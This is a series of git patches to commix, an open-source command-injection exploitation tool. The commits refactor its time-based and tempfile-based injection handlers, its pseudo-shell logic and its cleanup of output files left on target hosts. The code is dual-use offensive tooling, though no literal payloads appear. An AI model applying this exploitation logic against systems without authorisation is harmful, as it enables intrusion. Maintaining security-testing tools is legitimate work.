- else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 7048f5a25c..b20a968d93 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -344,71 +344,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - if whitespace == "%20": - whitespace = settings.SINGLE_WHITESPACE - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: shell = "" diff --git a/src/utils/settings.py b/src/utils/settings.py index fbc471581b..c39efab995 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 794c1d7591218231ec86c2ffd1da2cfa694ad4ea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 3 Jun 2024 09:00:14 +0300 Subject: [PATCH 456/560] Additional code refactoring (commit: https://github.com/commixproject/commix/commit/3d700ca9fc6f754fba5f7716d6c3fce7762ea479) --- .../blind/techniques/time_based/tb_handler.py | 42 ++++--------------- src/core/injections/controller/checks.py | 34 +++++++++++++++ .../techniques/file_based/fb_handler.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 33 ++------------- src/utils/settings.py | 2 +- 5 files changed, 48 insertions(+), 65 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index c677a9cfa8..e4e9e6d5f0 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -180,10 +180,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: percent = "" else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if checks.time_relative_shell(url_time_response, how_long, timesec): # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: @@ -202,25 +199,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Identified false positive warning message. if false_positive_warning: - message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false positive results. " - sys.stdout.write("\r") - while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - common.invalid_option(proceed_option) - pass + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -252,10 +231,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check for false positive resutls how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if checks.time_relative_shell(url_time_response, how_long, timesec) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -309,9 +285,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Yaw, got shellz! # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + if checks.time_relative_shell(url_time_response, how_long, timesec): if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): @@ -440,12 +414,12 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) - elif proceed_option.lower() == "c": + if proceed_option.lower() == "c": if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: return False + elif proceed_option.lower() == "s": + from src.core.injections.semiblind.techniques.file_based import fb_handler + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) elif proceed_option.lower() == "q": raise SystemExit() else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 16a5541470..4d2b0011a1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1178,6 +1178,40 @@ def time_delay_recommendation(): warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) +""" +Message regarding unexpected time delays due to unstable requests +""" +def time_delay_due_to_unstable_request(timesec): + message = "Unexpected time delays have been identified due to unstable " + message += "requests. This behavior may lead to false-positive results. " + sys.stdout.write("\r") + while True: + message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + timesec = timesec + 1 + false_positive_fixation = True + return timesec, false_positive_fixation + elif proceed_option.lower() == "s": + false_positive_fixation = False + return timesec, false_positive_fixation + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + pass + +""" +""" +def time_relative_shell(url_time_response, how_long, timesec): + if (url_time_response == 0 and (how_long - timesec) >= 0) or \ + (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ + (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)): + return True + else: + return False + """ Message regarding time relative attcks """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b17ce34ad8..6cf401bc22 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -43,7 +43,7 @@ """ """ -Check ff temp-based technique has failed, +Check if file-based technique has failed, then use the "/tmp/" directory for tempfile-based technique. """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index b20a968d93..420a5f5323 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -198,9 +198,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: percent = "" else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + if checks.time_relative_shell(url_time_response, how_long, timesec): # Time relative false positive fixation. false_positive_fixation = False @@ -220,25 +218,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Identified false positive warning message. if false_positive_warning: - message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false-positive results. " - sys.stdout.write("\r") - while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - common.invalid_option(proceed_option) - pass + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -270,10 +250,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if checks.time_relative_shell(url_time_response, how_long, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -335,9 +312,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Yaw, got shellz! # Do some magic tricks! - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + if checks.time_relative_shell(url_time_response, how_long, timesec): if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): diff --git a/src/utils/settings.py b/src/utils/settings.py index c39efab995..72707090b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c9960449a5cc1fbdb2d5df817702f8e2713fb6ec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 4 Jun 2024 07:08:46 +0300 Subject: [PATCH 457/560] Minor code refactoring --- .../techniques/file_based/fb_handler.py | 9 +++++- .../tempfile_based/tfb_enumeration.py | 2 +- .../tempfile_based/tfb_file_access.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 31 +++++++------------ src/utils/settings.py | 2 +- 5 files changed, 23 insertions(+), 23 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 6cf401bc22..8e55f4f4f5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -64,15 +64,22 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met Delete previous shells outputs. """ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_BASED_STATE != None: + if settings.FILE_BASED_STATE != None or settings.TEMPFILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." print(settings.print_debug_msg(debug_msg)) + if settings.FILE_BASED_STATE != None: if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE else: cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + elif settings.TEMPFILE_BASED_STATE != None: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ Provide custom server's root directory diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 344359b65c..fe47b9ecec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -287,7 +287,7 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(enumerate_again) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index b932d43193..c1c50d80d7 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -135,7 +135,7 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(file_access_again) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 420a5f5323..5140234253 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -34,7 +34,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.core.injections.controller import shell_options from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector +from src.core.injections.semiblind.techniques.file_based import fb_handler from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads from src.core.injections.semiblind.techniques.tempfile_based import tfb_enumeration @@ -48,15 +48,8 @@ """ Delete previous shells outputs. """ -def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." - print(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) +def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ The "tempfile-based" injection technique handler @@ -277,7 +270,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. # print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: @@ -287,7 +280,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: @@ -329,7 +322,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == settings.OS.WINDOWS: time.sleep(1) @@ -343,7 +336,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result if len(output) > 1: - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Pseudo-Terminal shell try: @@ -374,7 +367,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "exit": # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: @@ -404,11 +397,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, return False else: # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(gotshell) @@ -416,7 +409,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") raise @@ -426,7 +419,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") raise diff --git a/src/utils/settings.py b/src/utils/settings.py index 72707090b4..63e3278c96 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eab1a66e5b32de1a1beaaef1fe2e041c851d1daa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 5 Jun 2024 07:16:03 +0300 Subject: [PATCH 458/560] Minor update --- .../techniques/file_based/fb_handler.py | 46 +++++++++++-------- src/utils/settings.py | 4 +- 2 files changed, 30 insertions(+), 20 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 8e55f4f4f5..6d045605ac 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -95,13 +95,28 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) if len(settings.WEB_ROOT) == 0: settings.WEB_ROOT = default_root_dir - menu.options.web_root = settings.WEB_ROOT.strip() settings.CUSTOM_WEB_ROOT = True + if not settings.LOAD_SESSION: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." + print(settings.print_debug_msg(debug_msg)) + info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT + info_msg += "' for command execution output. " + print(settings.print_info_msg(info_msg)) + + menu.options.web_root = settings.WEB_ROOT.strip() + """ Return TEMP path for win / *nix targets. """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): + def check_trailing_slashes(): + if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" + elif not menu.options.web_root.endswith("/"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" + # Set temp path if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): @@ -116,17 +131,13 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons else: tmp_path = settings.TMP_PATH - if settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: + if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True if menu.options.web_root: - if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): - menu.options.web_root = menu.options.web_root + "\\" - elif not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" settings.WEB_ROOT = menu.options.web_root else: # Provide custom server's root directory. @@ -135,6 +146,8 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + check_trailing_slashes() + return tmp_path @@ -171,18 +184,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r next_attack_vector = False export_injection_info = False - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - - if not settings.LOAD_SESSION or settings.RETEST == True: + if not settings.LOAD_SESSION: + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Using '" + settings.WEB_ROOT + "' for writable directory." - print(settings.print_debug_msg(debug_msg)) - info_msg = "Trying to create a file in directory '" + settings.WEB_ROOT - info_msg += "' for command execution output. " - print(settings.print_info_msg(info_msg)) - - # checks.testing_technique_title(injection_type, technique) i = 0 # Calculate all possible combinations @@ -204,9 +208,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" + if re.findall(settings.DIRECTORY_REGEX,payload): + filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] + settings.WEB_ROOT = os.path.dirname(filepath) + settings.CUSTOM_WEB_ROOT = True + tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) session_handler.notification(url, technique, injection_type) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - #settings.LOAD_SESSION = True + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: checks.error_loading_session_file() diff --git a/src/utils/settings.py b/src/utils/settings.py index 63e3278c96..7df01bf1b9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -983,6 +983,8 @@ class INJECTION_TECHNIQUE(object): # GET parameters recognition GET_PARAMETERS_REGEX = r"(.*?)\?(.+)" +DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' + # TFB Decimal TFB_DECIMAL = False From f2e1340b3e4f1e6a822d6fd2fe7c7cc344fdf6fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 6 Jun 2024 08:28:19 +0300 Subject: [PATCH 459/560] Minor update --- .../injections/semiblind/techniques/file_based/fb_handler.py | 4 ++-- .../injections/semiblind/techniques/file_based/fb_injector.py | 2 +- 